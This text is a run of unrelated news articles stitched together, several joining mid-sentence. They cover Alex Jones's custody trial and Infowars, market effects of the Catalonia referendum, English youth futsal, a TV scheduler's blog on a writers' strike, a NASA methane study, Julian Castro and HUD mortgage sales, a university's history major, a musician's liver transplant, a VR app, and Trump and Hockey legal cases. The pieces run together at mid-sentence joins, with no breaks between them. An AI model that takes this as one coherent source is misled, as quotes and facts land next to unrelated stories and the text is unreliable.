During the campaign and into his presidency, many of Trump’s most defining themes and questionable assertions either originated with or were popularized by Infowars: Hillary Clinton for prison. Hillary Clinton is gravely ill. Bill Clinton is a rapist. President Barack Obama founded ISIS. The election is rigged. Millions of immigrants voted illegally. The news media covers up terrorist attacks. The “fake news media … is the enemy of the people.” Obama spied on Trump.
In December 2015, thanks to Stone, Trump appeared via Skype on Jones’ show.
“Your reputation is amazing,” Trump told Jones. “I will not let you down.”
Since Trump became president, Jones has purported on air to be in regular direct telephone contact with the president, apologizing for not always being able to answer the phone when the president calls. Last week, Jones said that the president had invited him to Mar-a-Lago but that he had to beg off because of family obligations.
Recently, Jones faulted Trump for falling for the “false flag” that it was the Syrian government, and not its enemies, that deployed chemical weapons against civilians, but he says he understands the political expedience involved and remains hopeful that Trump will reclaim the anti-globalist mantle.
Naranjo, meanwhile, said she had never seen or heard Jones on Infowars until Wednesday’s hearing, when Kelly Jones’ legal team started previewing Infowars videos it would like to play for the jury.
The first was a clip from a July 2015 broadcast in which Jones had his son, then 12, on to play the latest of some 15 or 20 videos he had made with the help of members of the Infowars team who, Jones said, had “taken him under their wing” during summer days spent at the South Austin studio between stints at tennis and Christian camps.
“He is undoubtedly cut out for this, and I intend for him to eclipse what I’ve done. He’s a way greater person than I was at 12,” said Jones, turning to his son. “I love you so much, and I didn’t mean to get you up here, sweetheart, and tell people how much I love you, but you’re so handsome, and you’re a good little knight who’s going to grow up, I know, to be a great fighter against the enemy.”
“So far this looks like good stuff,” Wilhite said. Naranjo OK’d it for viewing by the jury.
But Bobby Newman, the attorney for Kelly Jones guiding the court through the Infowars clips, was laying the groundwork for the argument that there is no separation between Alex Jones, father, and Alex Jones, Infowarrior.
“This is the world he has planned for his kids,” said Newman, quoting Alex Jones at a recent hearing insisting that what he says on the air is what he believes.
Next up was a video of a recent conversation between Jones and Stone on Infowars that quickly escalated into an expletive-studded, gay-bashing rant by Jones directed at Schiff, the ranking Democrat on the House Intelligence Committee investigation of Trump’s Russia ties, in which, Schiff has suggested, Stone and Jones might be entangled.
Jones’ rant ends: “You got that, you goddamn son of a bitch? Fill your hand,” echoing John Wayne’s warning in True Grit” to a man he’s about to shoot and kill.
“This is nothing but a response to a congressman who called him a Russian spy,” said David Minton, another lawyer representing Alex Jones.
“What possible relevance does that have?” Minton asked. “They want to throw the stench in the jury box and never get the stench out. It has nothing to do with parenting.”
A few days after his Schiff riff, Jones characterized it on-air as “clearly tongue-in-cheek and basically art performance, as I do in my rants, which I admit I do, as a form of art.”
“When I say, ‘I’m going to kick your ass,’ it’s the Infowar,” Jones said. “I say every day we’re going to destroy you with the truth.”
Jones’ rhetoric is perpetually at a pugilistic fever pitch.
Back in March, after Baldwin, playing Trump on “Saturday Night Live,” said he got his information on aliens from Alex Jones, Jones challenged Baldwin to a million-dollar charity bout — “I’ll get in the ring with you, and I will break your jaw, I will knock your teeth out, I will break your nose, and I will break your neck.”
When, just after the election, Jennifer Lopez lamented about Trump at the Grammys, Jones responded that Trump “doesn’t want to bring people in from Somalia where women are sold on slave blocks. Why don’t you go to Somalia for five minutes, lady; you’ll be gang-raped so fast it’ll make your head spin.”
Naranjo said she wouldn’t allow the jury to hear the Schiff diatribe, but she allowed two other clips, including one showing Alex Jones smoking marijuana in California, where it is legal. Naranjo didn’t review the Baldwin and Lopez clips, and it’s not clear whether Kelly Jones’ attorneys will seek to include them in the trial.
Big legal bills
Every record in the Jones case has been under seal since the divorce proceeding was initiated in Hays County in 2013. In January, the court denied Kelly Jones’ motion to unseal the record, granting a motion by Alex Jones — or simply A.J., as he is known in all the court filings — to keep them sealed
For good measure, Naranjo said last week she was placing a gag order on all the litigants.
At the previous pretrial hearing, on April 7, Naranjo ruled against Kelly Jones and her lawyers on a couple of key motions.
Earlier this year, her lawyers had moved to add to the trial a $7 million emotional distress tort claim against Alex Jones.
His lawyers said it was too late to prepare a defense against a new claim with 172 separate allegations. Naranjo agreed and promised to expedite a second trail on the tort claim.
“They’d like to drag it out for two years, and she’ll be crushed and she’ll be bankrupt,” said Robert Hoffman, the Houston attorney who is Kelly Jones’ lead counsel, in arguing for rolling the tort claim into the trial.
“She already is, for all practical purposes,” said Hoffman, who said she owed his firm $200,000, about all she had in the bank.
Her attorneys also filed a motion to require Alex Jones to help pay her interim legal fees to better enable her to rescue her children from his clutches.
“I don’t think there’s another case in Travis County with three children whose welfare hangs in the balance like this, except maybe a (Child Protective Services) case,” Hoffman said.
“This is a wonderful mother who has had her kids turned against her,” Hoffman said.
Wilhite said the crux of Kelly Jones’ problem is that she has gone through one set of lawyers after another and some $3.5 million since her divorce settlement, much of it pursuing fruitless motion after motion that actually cost her access to her children each step of the way.
And she already receives $43,000 a month from her ex-husband.
Naranjo rejected the motion that Alex Jones should have to contribute more, noting that the average Travis County juror won’t understand why Kelly Jones’ monthly stipend is not enough to cover her legal bills.
“It is not within the realm of experience of their lives,” Naranjo said.
”They are not going to believe the amount of money that has been spent on this,” the judge said.
“This case is not about Infowars,” Naranjo said. “But, for some reason, this family has done very well. Otherwise, there wouldn’t be five lawyers on one side of the table and three over here, because of the business this family is in.”
Meanwhile, Alex Jones has remarried, and his new wife is expecting a child, who, his lawyers said, might arrive during the trial.Spain’s government borrowing costs also surged, while the euro drifted lower against the dollar as investors weighed fallout from the violent police crackdown on Catalans on Sunday. This morning local officials announced 90 per cent of those who voted in the contested referendum on Sunday, which Madrid deemed illegal, called for independence from Spain. Around 2.26 million people took part in the ballot, representing around 42.3 per cent of Catalonia’s 5.34 million voters.
GETTY Catalonia referendum: Spain’s stock market came under pressure after Catalans voted for independence
The northeastern region of Spain accounts for a fifth of the country’s economy and its tax returns are crucial to the national budget. Many analysts expect the crisis to be resolved with more autonomy, but some said the uncertainty could impact the Spanish government’s economic growth and soil Prime Minister Mariano Rajoy’s reputation. Federico Santi, an analyst at Eurasia Group in London, said the vote was “probably the worst outcome for Madrid”.
Catalan referendum: Brutality of Catalonia's referendum vote Tue, October 3, 2017 Scenes at the Catalan independence referendum Play slideshow AFP/Getty Images 1 of 17 People clash with Spanish Guardia Civil
It is clear that risks to government stability are increasing Federico Santi, an analyst at Eurasia Group in London,
He added: “There was violence but they didn't stop the vote either and public opinion in Catalonia is more polarised. "It is clear that risks to government stability are increasing." Spain’s mainstream political parties have largely backed Mr Rajoy’s opposition to the Catalonia independence referendum, but the prime minister faces criticism over his handling of the issue. Nearly 850 people were injured when police clashed with independence protesters on Sunday as officers in riot gear closed polling stations and used batons to stop voters from reaching the ballot boxes.
GETTY Catalonia referendum: Spain’s government borrowing costs surged as investors weighed falloutThe FA is finally embracing futsal, with the game growing on these shores and clubs implementing it into their academies
The passing was crisp and incisive, the movement restlessly purposeful; the relentless pace of the game and ambitious dribbling on show were yielding goalscoring opportunities continuously. It was, by common consent, a feast of technical excellence, gladdening the heart of anyone keen to witness controlled creativity on a pitch.
This was last weekend – but the venue was not the Olympic Stadium in Kiev, where Andrés Iniesta and the tiki-taka brigade were pulversing Andrea Pirlo's Italy in the Euro 2012 final. It was 1,600 miles away in the Birmingham Futsal Arena, where a bunch of 10-year-olds from East Hull Saints were up against Whiteknights Toffees from Reading in the national youth futsal finals.
They were among the 80 junior futsal teams – boys and girls aged 10 to 16 – who had qualified for the finals of the sixth annual tournament of the booming football offshoot.
Born in Uruguay in 1930, futsal is the indoor version of five-a-side football officially sanctioned by Fifa and Uefa and has become synonymous with Brazilian flair – from Pelé to Ronaldinho's dancing toe-poke goal against Chelsea in 2005. More recently, Lionel Messi, Cristiano Ronaldo and the Spanish rondo matadors have all paid tribute to the beneficial effects of playing futsal in their youth.
The merits of the game itself are undeniable. It's five-a-side on amphetamines, played on an indoor court with hockey-size goals. Goalkeepers and players taking corners and kick-ins get only four seconds to distribute the ball. Technique, speed, ball mastery and possession are all vital.
The English FA is, unsurprisingly, a latecomer to the party; but now that it has turned up, kicked off its Dr Martens and hung up its duffle coat, it's actually starting to get down to the samba beat.
This year's national youth futsal tournament was easily the biggest in its brief six-year history. More than 1,200 teams were whittled down through 25 county FA competitions and eight regional finals. Played against the backdrop of the latest biennial outburst of introspection triggered by the England team's display in an international tournament, the timing of the finals in Birmingham was particularly apt.
"The growth of futsal fits perfectly with the way that our new developments around the young player are going," said Peter Sturgess, the FA's head of development for 5- to 11-year-old players, who doubles up as coach of the England men's futsal team. "The planets are aligning and futsal has come on to the radar just as there is a real focus on technical development, possession-based games, real game understanding and tactical nous. I think the two – technical development and futsal – go hand in hand," he added.
The usual culprits for English football's failings have been brought before the court yet again in the past 10 days. At the top of the game, it's either the lingering influence of the Charles Hughes POMO obsession of yesteryear, or the similarly prevalent tactical straitjacket of 4-4-2, or the Premier League clubs' obsession with foreign imports snuffing out the chances of homegrown prodigies.
Down at the grassroots it's either too few decent grass pitches and the foul weather; or the army of grassroots parents and "coaches" bludgeoning eight-year-olds into winning at all costs, or too few qualified, progressive coaches working with young players, or too little funding for Charter Standard clubs. And don't forget the socially and culturally complicated demise of street football over the past 30 years.
The one aspect that appears to be changing, however, is the FA's acceptance of a need for a revolution in coaching youth footballers. Two years ago we had the publication of the Future Game, an imperfect template for development of players that contains much to admire but arguably lacks a philosophical paradigm. A year earlier the FA launched its Youth Awards to end the embarrassing absence of age-appropriate, child-centred coach education.
Then six weeks ago the long-awaited proposals to overhaul grassroots football – smaller pitches, smaller-sided games, child-centred competition – were approved in an attempt to dispense with the obsession with winning at the expense of development in youth football. And, of course, we've got the symbolism of the imminent opening of St George's Park, the putative crucible of training for a new generation of progressive coaches.
It's not just at the grassroots where smaller-sided games have made an impression. A pioneering year-long study of the benefits of four v four games at Manchester United's academy in 2005 revealed it threw up many more opportunities for dribbling, passing, one v ones and goalscoring.
The Premier League clubs now include futsal in their winter games programme for academy players. Everton's academy began experimenting with it at the start of last season. After initially playing on indoor artificial grass pitches at their Finch Farm training complex, they decided to fully embrace the game.
"We really wanted to do it properly," said Neil Dewsnip, the head coach at Everton's academy. "So we contacted a local school and now once a week, we take our Under-nines, Under-10s and Under-11s over to the school hall and let them play futsal. We have a futsal player, Ray Redmond, who coaches them. And it's a case of putting them on the pitch with a futsal ball, telling them the rules and letting them get on and play. We'll do a few futsal-specific drills but essentially it's playing time.
"It really slides in nicely to their games programme and we believe it can improve the allround technical ability of our players. It's played at such a high tempo that every player is constantly engaged. This can only be good for their development."
Everton were among the five English clubs whose academy teams reached the finals of the Premier League futsal tournament, where they took on the might of Barcelona and the renowned Madrid-based futsal club Inter Movistar. Manchester City triumphed in the Under-12s competition. Barcelona clinched the Under-15s title.
Back down at the grassroots, many Charter Standard clubs will cite the burden of extra cost and lack of indoor facilities as barriers to fully embracing futsal. For Sturgess at the FA, however, the case for more indoor futsal is unequivocal because it wins on two counts: technical development and the weather.
"A typical seven-year-old doesn't have the biological or physiological capacity to deal with extremes of heat and cold," he said. "So bringing them indoors to a fairly even temperature works. From a technical point of view, they are going to get so many more touches of the ball. But it's not just the number of touches, it's the situations they occur in: they are nearly always going to be under pressure; there will always be constraints on time and space.
"Grassroots junior clubs are increasingly taking kids indoors so their football development can continue in the winter months," he said. "Futsal is the vehicle for this change."
The scale of these changes are difficult to estimate. In the world of FA coaching, another development over the past few years has been the rise of the buzz phrase: "Let the game be the teacher."
The message is clear, the practical implications less so. But while the FA tries to get to grips with educating a new generation of coaches, it could do much worse than ensure that as many young players as possible are left in the capable hands of the great teacher of Ronaldo, Messi, Iniesta and more: futsal.
A brief history of futsal
• Devised by Juan Carlos Ceriani in Uruguay in 1930 as a form of five-a-side to be played in YMCAs.
• Futsal is a fusion of the Spanish/Portuguese words for football (futbol) and hall (sala).
• The game is predominantly played indoors on a basketball court-size pitch, with hockey-size goals and a smaller, heavier ball with a restricted bounce. Goalkeepers and players taking corners or kick-ins (no throw-ins allowed) are allowed only four seconds to distribute the ball.
• Fifa research this year revealed 150 of the 209 member associations were now playing futsal – an 18% rise on 2006. The rise in participation was most marked among in Africa.
• The German FA hosted its first futsal coaching course last month.
• As well as being the game of choice for youngsters in South America, it is also played in schools in Spain and Portugal up to the age 11 – as well as at the famed Barcelona academy, La Masia.
• The England adults' futsal team was formed in 2003. They have never qualified for the Uefa Futsal Championship or the Fifa World Futsal Cup and are ranked 90th in the world – one place behind Tahiti. Spain are in 1st.Masked Scheduler's Ratings Smackdown
Have not seen the final episode of "24: Legacy," but if I were still at FOX I would not recommend returning the series that quickly. It got the big Super Bowl push and quickly settled under a 1 rating in live plus same-day, so there was little urgency in viewing it.
***
I will solve the problems with the 10 p.m. time period tomorrow, but I received this tweet from one of my favorite Masketeers that seemed more immediate:
@maskedscheduler Could you address the possible writers' strike, including such a strike's effects on viewers?
I have learned the hard way that, as insignificant as I am, public statements come back to bite me in the butt. I did say that I would not be surprised if there is some settlement to avoid a strike and I was taken to task for that statement.
I will say that, given my limited understanding, this issue has exposed the myth of Peak TV in that there may be more shows, but the actual number of episodes has not grown proportionately so working on a show means less fees and more uncertainty about future work.
What this would mean to the viewer is more reality and news magazines as well as more repeats. Also, depending on the length of a strike, it would possibly mean a delay in the start of the fall season. In addition some of the product that the networks were citing as original summer fare, but that was actually burn off, could be pushed to the fall.
I was at FOX for the last WGA strike, and we were told by our leadership to be prepared for a lengthy strike. My partner MJ LaVaccare and I took those orders seriously, and we survived and prospered. It helped to have "American Idol" at its peak.
The "fun" part of the strike was dealing with the aftermath, i.e. planning how to bring the network back. That meant meetings with the producers of "House" (who were fantastic) and having to sit in a room with Jack Bauer and tell him his show was being delayed for a year because we would not split "24" over two seasons. That didn't go as well. Also had to give Steve Levitan some news he didn’t want to hear which, to this day, I believe cost us a shot at "Modern Family."
I hope that this is resolved in a way beneficial to all, but I'm a realist.
Dodger game last night so a night off from TV, but I did take in the first four episodes of "Chewing Gum" Season 2 on Netflix, which continues to be wildly entertaining.
Twitter @maskedscheduler, or use the email [email protected] identified more than 250 sources of a methane hot spot over the Four Corners region of Arizona, Colorado, New Mexico and Utah. They include gas wells, storage tanks, pipelines and processing plants.
Only a handful were natural seeps from underground formations, and one was a vent from a coal mine, according to researchers at NASA’s Jet Propulsion Laboratory and the California Institute of Technology. The findings were published in the Proceedings of the National Academy of Sciences.
The study said as much as two-thirds of the methane could be spewing from only about 25 locations.
Methane is a key component of natural gas. The hot spot is not a local safety or health issue, but methane does contribute to global warming. Methane is 86 times more potent for trapping heat in the short-term than carbon dioxide.
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February 15, 2019 Groups suing over gas drilling near homes in Battlement Mesa on the Western Slope Evidence of the hot spot dates as far back as 2003, and a satellite image released in 2014 showed it in vivid color. But the origin wasn’t clear.
The new study identified the sources with spectrometers aboard aircraft that flew 3,000 to 10,000 feet above the ground over about 1,200 square miles in the Four Corners in April 2015.
“Where we saw the biggest anomalies from space, that’s where we put our target area,” said Christian Frankenberg, lead author of the study.
Frankenberg said the researchers might have missed some plumes that were too slight to be detected by the sensors. He said other methane sources might be intermittent — detectable on some days but not others.
The study comes amid a national debate over whether and how much methane should be regulated. In May, the Environmental Protection Agency issued a rule to cut methane emissions from oil and gas production by nearly half over the next decade. Colorado imposed its own rules in 2014.
An environmental group said the number of methane sources the study found was concerning, but the fact that a small percentage is responsible for most of the hot spot means a solution is within reach.
“Since this is a problem with natural gas infrastructure, it’s a problem that we can fix,” said Jon Goldstein of the Environmental Defense Fund. “Once these leaks are detected by regular inspections, we can go out with a wrench or unstick a plugged valve.”
Industry groups called the study a good first step but said its scope was narrow.
Energy companies want to minimize leaking methane because it’s the product they sell, said Kathleen Sgamma of the Western Energy Alliance, a trade group. She said natural gas producers have reduced emissions while increasing production.
Frankenberg said the researchers didn’t identify the operators of the leaking facilities in most cases, because they usually weren’t aware of specific locations until they were analyzing the data after the flights.
Ground teams followed up by visiting some methane sources and recorded the emissions using special cameras.
Researchers did contact the operators of two pipelines after detecting leaks, and the operators made repairs.
It’s rare that scientists see such immediate results, he said, “and it was a very gratifying experience.”The tension among Republicans after a lengthy presidential primary that began with seventeen contenders and ended with Donald Trump as the nominee, gets all the media attention, but the Democrat civil war has also been quite vicious.
Politico covers the latest battle, in which progressives launched a pre-emptive strike against Julian Castro, widely seen as a top vice-presidential pick for not-quite-yet presumptive nominee Hillary Clinton, but Castro seems to have launched a pre-emptive strike against their pre-emptive strike.
Castro, who is currently the Secretary of Housing and Urban Development, is 41 years old, so he would balance out the Clinton ticket in several useful demographic categories. He came under fire last week from progressive groups upset by the way HUD has been selling off delinquent mortgages:
At issue is the Distressed Asset Stabilization Program, started in 2010 to allow mortgages going toward foreclosure to be sold to what HUD calls “qualified bidders and encourages them to work with borrowers to help bring the loan out of default.” The progressives attacking Castro say they believe the mortgages should be sold instead to nonprofits and other institutions that would care more about the communities involved. What Castro’s done, they say, has essentially amounted to a fire sale for Wall Street firms. Rep. Raúl Grijalva (D-Ariz.), co-chairman of the Congressional Progressive Caucus and one of Sanders’ few endorsers in Congress, complained about the program to Castro last week in a letter obtained by Politico. “Your own Distressed Asset Stabilization Program, which was designed to help right the wrongs of the meltdown years, has been selling homes that once belonged to the families I’ve spoken with at rock-bottom prices to the Wall Street entities that created this situation in the first place,” Grijalva wrote.
HUD attempted to rebut these charges by insisting that its program has been working as designed, with the goal of “providing an option for homeowners to remain in their homes,” as one spokesperson put it. To that end, a policy change was implemented last year that required loan purchasers to delay foreclosure proceedings for a year.
The department also stressed that Castro has “continued to meet with advocates, in the hopes of improving the policy,” and one of those improvements involved selling more mortgages to nonprofits, as the progressive groups demand.
That wasn’t good enough for the coalition of progressive groups going after Castro, which include “the Alliance of Californians for Community Empowerment (ACCE) Action, American Family Voices, Color of Change, Courage Campaign, CPD Action, Daily Kos, MoveOn, New York Communities for Change, Other 98%, Presente, RootsAction, Rootstrikers and the Working Families Party,” according to Politico.
There’s even a hashtag-ready website for the anti-Castro effort, DontSellOurHomestoWallStreet.org. “HUD’s two most recent sales have sent 98 percent of the mortgages straight to Wall Street – and at a HUGE discount, almost half off! Sign the petition to tell Secretary Castro to stop selling our neighborhoods to Wall Street!” the website implores.
Some of Castro’s critics complained that HUD’s practices are so opaque that it’s hard to tell if the promises made by Castro and his officials have been fulfilled. His defenders argue that progressives don’t understand how the delinquent mortgage market works – only big banks can afford to buy them in volume, and selling the loans quickly is the best way to help delinquent homeowners.
One of the big progressive complaints is that HUD doesn’t attach enough strings to these mortgages when selling them to banks. Of course, if they had more strings attached, the banks would be less likely to buy them, and a rule like “no foreclosures against people who aren’t making mortgage payments for a year” is already a very thick string. It’s amusing how progressives always act surprised when the people expected to pay for their agenda try to escape their clutches.
It’s also amusing that anyone contemplating a vote for Hillary Clinton, of all people, would be worried about her vice-presidential nominee being too cozy with Wall Street. The point of going so hard on Castro is probably to signal Clinton that she needs to mend fences with progressives after she finishes putting Bernie Sanders away. It would be very unusual if they settled for her throwing them a bone with her vice-presidential pick, especially since she’ll want to pivot to the center and make her ticket more appealing, the way young, charismatic, and Latino Julian Castro could.
Castro clearly heard the sound of incoming fire from the far Left, because on Monday, Politico reported that he will announce changes to the HUD mortgage program:
Among the changes, according to people with knowledge of what’s coming: The Federal Housing Authority will put out a new plan requiring investors to offer principal reduction for all occupied loans, start a new requirement that all loan modifications be fixed for at least five years and limit any subsequent increase to 1 percent per year, and create a “walk-away prohibition” to block any purchaser of single-family mortgages from abandoning lower-value properties in the hopes of preventing neighborhood blight.
HUD claimed these changes weren’t specifically made in response to pressure from progressives, and doggedly continues to insist its critics are using incorrect information to judge the performance of the mortgage program.
Castro might have some trouble getting the progs off his back. Some of the activists quoted by Politico sounded unsatisfied by his proposals – they really want more heavily discounted mortgage sales to nonprofit groups, and never mind how much red ink that would spill across HUD’s ledgers.
Also, there were some grumbles about how Castro’s policy changes wouldn’t go into effect before the next big mortgage auction on May 18, and activists want results from HUD, not more promises. The Department, however, argued that the May 18 auction is for a different category of mortgages, and no auction for the Distressed Asset Stabilization Program has yet been scheduled in 2016.
“Activists had been growing frustrated with the pace and substance of the conversations with HUD, and HUD officials have been losing patience with them as well, feeling that the activists are out for attention and landing on Castro simply because his name is in the running mate mix,” Politico writes. “And, well aware that this is a critical political moment for Castro, activists warn that they’re ready to keep after him until the Democratic convention in July, and beyond that if he is Clinton’s pick.”
It sounds like a whole lot of signaling is going on here. Progressives are slipping into the “bargaining” stage of the grief process over Bernie Sanders, flexing their muscles and letting Clinton know they expect some concession, or else they’ll make trouble for her all the way through the convention.
The “beyond” part is a bit more of a stretch, and progressives might be fooling themselves by thinking they can do real populist damage to Hillary “$350,000 Speech” Clinton by carping about her veep’s alleged bias toward Wall Street, because of a mortgage program not many voters truly understand. Also, the spectacle of banks buying mortgages isn’t exactly shocking to anyone who ever took out a mortgage.
As a bit of Democrat Civil War theater, however, it’s an interesting performance, and a sign that Clinton’s still having trouble nailing down her left flank.A university literally named after George Washington and located in the nation's capital just dropped its requirement for American history, for history majors. In order to graduate with a history degree from George Washington University (GW) in Washington, D.C., you do not have to study American history.
To make matters worse, the department said they made this stunning decision in order to kowtow to current trends and make history more popular. This change comes among other updates to the curriculum: history majors will no longer be required to take foreign language classes, can do an electronic capstone project instead of the traditional thesis, and will not have to study European, North American, or U.S. history.
"I think the main gain for students is that they have a great deal more flexibility than they had before, and they can adapt it to whatever their plans are for the future," Katrin Schultheiss, chair of the history department, told The GW Hatchet. "Whatever they want to do, there's a way to make the history department work for them."
In 2016, GW implemented a new funding formula, allocating money to the various departments based on the number of students enrolled in that major's classes. Each school receives $301 for every student in a class, incentivizing majors like history to offer classes that will be popular.
Indeed, enrollment in history has dropped since 2011, when there were 153 history majors. Only 72 undergraduate students majored in history in 2015, while 83 did so in 2016, the Hatchet reported.
Some of the updates make sense — while it is good to require students to study a foreign language, it might not be necessary for history. The electronic capstone might be less rigorous than a traditional thesis, but it would make sense to allow students to build a website focused on their concentration of history, for instance.
Dropping the U.S. or European history requirement is different in kind, and much less excusable. The new requirements still mandate at least one introductory course, of which American history, world history, and European civilization are options — as well as "Approaches to Women's History." Nevertheless, this introductory requirement may be fulfilled by scoring a 4 or a 5 on the Advanced Placement exams for U.S., European, or world history.
In addition to this one required introductory course (which may be satisfied by women's studies), the major requires an introductory seminar, eight to ten upper-level history courses, and a thesis or capstone project. Before the changes, students had to take two courses focused on Europe and North America. Now, they can avoid them altogether.
"I think an important change in the history major has been to make
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power markets because of hot weather and high demand, was relatively quiet in 2014. Daily peak loads were significantly lower than all-time peak loads in all regions except Texas (ERCOT), where a peak load of 66,725 megawatts (MW) on August 25 approached the 68,305 MW all-time peak set in August 2011.
Principal contributor: Tim ShearFinally, some good news for Mike IX Williams! In a whirlwind of activity, the Eyehategod vocalist was matched with a liver donor yesterday morning and rushed into surgery last night. Early this morning his girlfriend, Michelle Maher-Williams, revealed that the transplant was successful.
Williams was initially rushed to the hospital on November 19th after he began vomiting blood, was placed on life support and dialysis, and has been in the hospital ever since awaiting a donor match. Maher-Williams launched a crowdfunding campaign to help cover his medical bills, raising nearly $70,000, although complications in Mike’s condition led expenses to continue to build up.
Michelle-Williams revealed the good news in a series of Facebook posts last night and this morning:
Congrats, Mike! We can’t imagine it’ll exactly be smooth sailing from here-on out, but we’re all pulling for you and wishing for a speedy recovery.
Additional reporting: Emperor RhombusRealities.io will release tomorrow a new free VR game/app for HTC Vive, called Realities. Realities is a game/app that allows you to virtually travel the world by transporting real places 1:1 into Virtual Reality. This project is powered by Unreal Engine 4 and pushes amazing visuals thanks to Photogrammetry.
Here are Realities PC system requirements:
MINIMUM: OS: Windows 8 or newer
Processor: Intel i5-4590 or similar
Memory: 8 GB RAM
Graphics: Geforce GTX 970 or similar
DirectX: Version 11
Storage: 12 GB available space
Additional Notes: … requires a HTC Vive to run. RECOMMENDED: OS: Windows 8 or newer
Processor: Intel i7-4770 or similar
Memory: 8 GB RAM
Graphics: Geforce GTX 980 Ti or similar
DirectX: Version 11
Storage: 12 GB available space
Additional Notes: … requires a HTC Vive to run.
Below you can find some screenshots, showing what PC gamers can expect from this new VR game.
We should note that the development team is also in talks with Oculus in order to make this game/app compatible with the Oculus Rift.
Enjoy!Physicist Happens Upon Rain Data Breakthrough
Steven Siceloff,
Kennedy Space Center
A physicist and researcher who set out to develop a formula to protect Apollo sites on the moon from rocket exhaust may have happened upon a way to improve weather forecasting on Earth.Working in his backyard during rain showers and storms, John Lane, a physicist at NASA's Kennedy Space Center in Florida, found that the laser and reflector he was developing to track lunar dust also could determine accurately the size of raindrops, something weather radar and other meteorological systems estimate, but don't measure.The special quantity measured by the laser system is called the "second moment of the size distribution," which results in the average cross-section area of raindrops passing through the laser beam."It's not often that you're studying lunar dust and it ends up producing benefits in weather forecasting," said Phil Metzger, a physicist who leads the Granular Mechanics and Regolith Operations Lab, part of the Surface Systems Office at Kennedy.Lane said the additional piece of information would be useful in filling out the complex computer calculations used to determine the current conditions and forecast the weather."We may be able to refine (computer weather) models to make them more accurate," Lane said. "Weather radar data analysis makes assumptions about raindrop size, so I think this could improve the overall drop size distribution estimates."The breakthrough came because Metzger and Lane were looking for a way to calibrate a laser sensor to pick up the fine particles of blowing lunar dust and soil. It turns out that rain is a good stand-in for flying lunar soil."I was pretty skeptical in the beginning that the numbers would come out anywhere close," Lane said. "Anytime you do something new, it's a risk that you're just wasting your time."The genesis of the research was the need to find out how much damage would be done by robotic landers getting too close to the six places on the moon where Apollo astronauts landed, lived and worked.NASA fears that dust and soil particles thrown up by the rocket exhaust of a lander will scour and perhaps puncture the metal skin of the lunar module descent stages and experiment hardware left behind by the astronauts from 1969 to 1972."It's like sandblasting, if you have something coming down like a rocket engine, and it lifts up this dust, there's not air, so it just keeps going fast," Lane said. "Some of the stuff can actually reach escape velocity and go into orbit."Such impacts to those materials could ruin their scientific value to researchers on Earth who want to know what happens to man-made materials left on another world for more than 40 years."The Apollo sites have value scientifically and from an engineering perspective because they are a record of how these materials on the moon have interacted with the solar system over 40 years," Metzger said. "They are witness plates to the environment."There also are numerous bags of waste from the astronauts laying up there that biologists want to examine simply to see if living organisms can survive on the moon for almost five decades where there is no air and there is a constant bombardment of cosmic radiation."If anybody goes back and sprays stuff on the bags or touches the bags, they ruin the experiment," Metzger said. "It's not just the scientific and engineering value. They believe the Apollo sites are the most important archaeological sites in the human sphere, more important than the pyramids because it's the first place humans stepped off the planet. And from a national point of view, these are symbols of our country and we don't want them to be damaged by wanton ransacking."Current thinking anticipates placing a laser sensor on the bottom of one of the landers taking part in the Google X-Prize competition. The sensor should be able to pick up the blowing dust and soil and give researchers a clear set of results so they can formulate restrictions for other landers, such as how far away from the Apollo sites new landers can touch down.As research continues into the laser sensor, Lane expects the work to continue on the weather forecasting side of the equation, too. Lane already presented some of his findings at a meteorological conference and is working on a research paper to detail the work. "This is one of those topics that span a lot of areas of science," Lane said.Joe Hockey seeks legal costs from Fairfax in 'Treasurer for sale' defamation case
Updated
Lawyers for Federal Treasurer Joe Hockey say Fairfax Media should pay the legal costs of running his defamation case against the publisher.
The Treasurer is also seeking a permanent injunction, preventing Fairfax repeating the imputation that he is corrupt.
Mr Hockey was awarded $200,000 in damages after the Federal Court found that a poster headline and tweets reading "Treasurer for sale" were defamatory.
All other claims made by Mr Hockey over the content of the articles were dismissed.
Justice Richard White found Sydney Morning Herald editor Darren Goodsir sought a headline that would be hurtful or damaging, to get back at Mr Hockey for being forced to correct and apologise for a previous article about the Treasurer.
Mr Hockey's barrister Bruce McClintock SC today told the Federal Court there was no evidence Mr Goodsir's animus towards the Treasurer had gone away.
"That makes the injunction both necessary and desirable," Mr McClintock said.
He told the court, it was unreasonable for Fairfax not to publish an apology, as Mr Hockey had requested.
But Fairfax's barrister Sandy Dawson said the publisher was right to stick to its guns.
"These were articles that dealt with matters of considerable public interest," he said.
The reports, published in newspapers including The Sydney Morning Herald and The Age and online on May 5, 2014, related to Mr Hockey's involvement with Liberal Party fundraising group North Sydney Forum (NSF).
In March, Mr Hockey told the court he viewed the report as defamatory because it suggested his influence could be bought by members of the NSF, who pay up to $22,000 a year for access to events attended by Mr Hockey and others.
The Treasurer said his office received no money from the NSF.
Mr Dawson said an order to pay all of Mr Hockey's costs, considering many of his claims were unsuccessful, would be a "manifestly unfair result".
He also argued against an injunction being imposed, saying it would be "an incredible restriction... on freedom of the press."
The court heard two defamatory tweets by The Age had already been taken down, while another two that were not sued upon, will be removed by 12:00pm on Thursday.
Topics: courts-and-trials, government-and-politics, federal-government, sydney-2000, adelaide-5000, canberra-2600
First postedDonald Trump's legal team is asking U.S. District Court Judge Gonzalo Curiel to rule that lawyers and witnesses at the Trump University trial be prohibited from making any reference to "personal conduct accusations" leveled at Trump. | Getty Trump seeks to keep groping claims out of Trump University suit
A decade-old recording of Donald Trump making crude comments about women may already have done serious damage to his presidential campaign, but now Trump's lawyers are trying to make sure that and other revelations about his personal behavior don't doom his defense at a civil trial set to begin next month over alleged fraud in his Trump University real estate seminar program.
Trump's legal team is asking U.S. District Court Judge Gonzalo Curiel to rule that lawyers and witnesses at the Trump University trial be prohibited from making any reference to "audio and video recordings made or publicized during the campaign" as well as "personal conduct accusations" leveled at Trump.
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Trump's attorneys also want to bar discussion of allegations that Trump may have paid no federal income taxes for as long as two decades, his personal charitable foundation, bankruptcies of various companies he owned or managed, and a series of comments he made alleging that Curiel was irredeemably biased because of his Latino background.
"Before trial begins in this case, prospective members of the jury will have the opportunity to cast their vote for President. It is in the ballot box where they are free to judge Mr. Trump based on all this and more. But it is in the jury box where they must judge him and this case only on evidence and argument relevant to the issues at hand," Trump lawyers Dan Petrocelli and David Kirman wrote in a motion filed late Thursday night.
